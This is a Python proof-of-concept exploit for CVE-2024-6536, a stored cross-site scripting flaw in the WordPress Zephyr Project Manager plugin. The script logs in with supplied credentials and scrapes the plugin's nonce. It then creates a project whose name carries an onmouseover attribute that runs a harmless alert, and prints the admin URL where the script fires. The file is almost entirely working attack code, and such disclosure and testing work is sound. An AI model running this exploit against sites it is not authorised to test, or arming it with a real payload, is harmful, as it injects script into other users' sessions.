#!/bin/python3

import requests
import argparse
import sys
import re


def authenticate(username: str, password: str, url: str) -> str:
    login_url = f'{url}/wp-login.php'
    data = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In'
    }

    response = requests.post(login_url, data=data, allow_redirects=False)
    if response.status_code == 302:
        set_cookie_header = response.headers.get('Set-Cookie', '')
        cookie_pattern = r'wordpress_(?!test_cookie)[^;]+|wordpress_logged_in_[^;]+'
        cookies = set_cookie_header.split('HttpOnly')
        filtered_cookies = [re.findall(cookie_pattern, cookie)[0] for cookie in cookies if re.findall(cookie_pattern, cookie)]
        return '; '.join(filtered_cookies)
    else:
        raise Exception(f'Unexpected status code returned from {login_url}: {response.status_code}')


def get_nonce(url: str, cookie: str) -> str:
    zpm_nonce_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects'
    response = requests.get(zpm_nonce_url, headers={'Cookie': cookie})
    if response.status_code == 200:
        nonce_pattern = r'"zpm_nonce":"([^"]*)"'
        match = re.search(nonce_pattern, response.text)
        if match:
            return match.group(1)
        else:
            raise Exception('Nonce value not found in the response.')
    else:
        raise Exception(f'Unexpected status code returned from {zpm_nonce_url}: {response.status_code}')


def create_xss_project(url: str, cookie: str, nonce: str) -> None:
    post_url = f'{url}/wp-admin/admin-ajax.php'
    data = {
        "project_name": 'ProjectName" onmouseover="alert(42)"',
        "project_description": "Description",
        "project_categories": "",
        "project_due_date": "",
        "type": "list",
        "priority": "priority_none",
        "action": "zpm_new_project",
        "zpm_nonce": nonce
    }
    response = requests.post(post_url, headers={'Cookie': cookie}, data=data)
    if response.status_code == 200:
        print('\nXSS Project Name created successfully\n')
        project_id_match = re.search(r'data-project-id=\\"([0-9]*)', response.text)
        if project_id_match:
            project_id = project_id_match.group(1)
            malicious_url = f'{url}/wp-admin/admin.php?page=zephyr_project_manager_projects&action=edit_project&project={project_id}'
            print(f'XSS Url -> {malicious_url}')
        else:
            raise Exception('Project ID not found in the response.')
    else:
        raise Exception(f'Project creation failed with status code {response.status_code}')


def main(username: str, password: str, url: str) -> None:
    try:
        cookie = authenticate(username, password, url)
        nonce = get_nonce(url, cookie)
        create_xss_project(url, cookie, nonce)
    except Exception as e:
        sys.exit(f'ERROR: {str(e)}')


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        prog='CVE-2024-6536.py',
        description='PoC script for CVE-2024-6536. The script requires an authenticated user with Zephyr Admin privileges.',
        epilog='Vulnerability explanation at https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6536'
    )
    parser.add_argument('-u', '--username', required=True, help='Username for authentication')
    parser.add_argument('-p', '--password', required=True, help='Password for authentication')
    parser.add_argument('-w', '--wordpressUrl', required=True, help='Base URL of the WordPress site')
    arguments = parser.parse_args()

    main(arguments.username, arguments.password, arguments.wordpressUrl)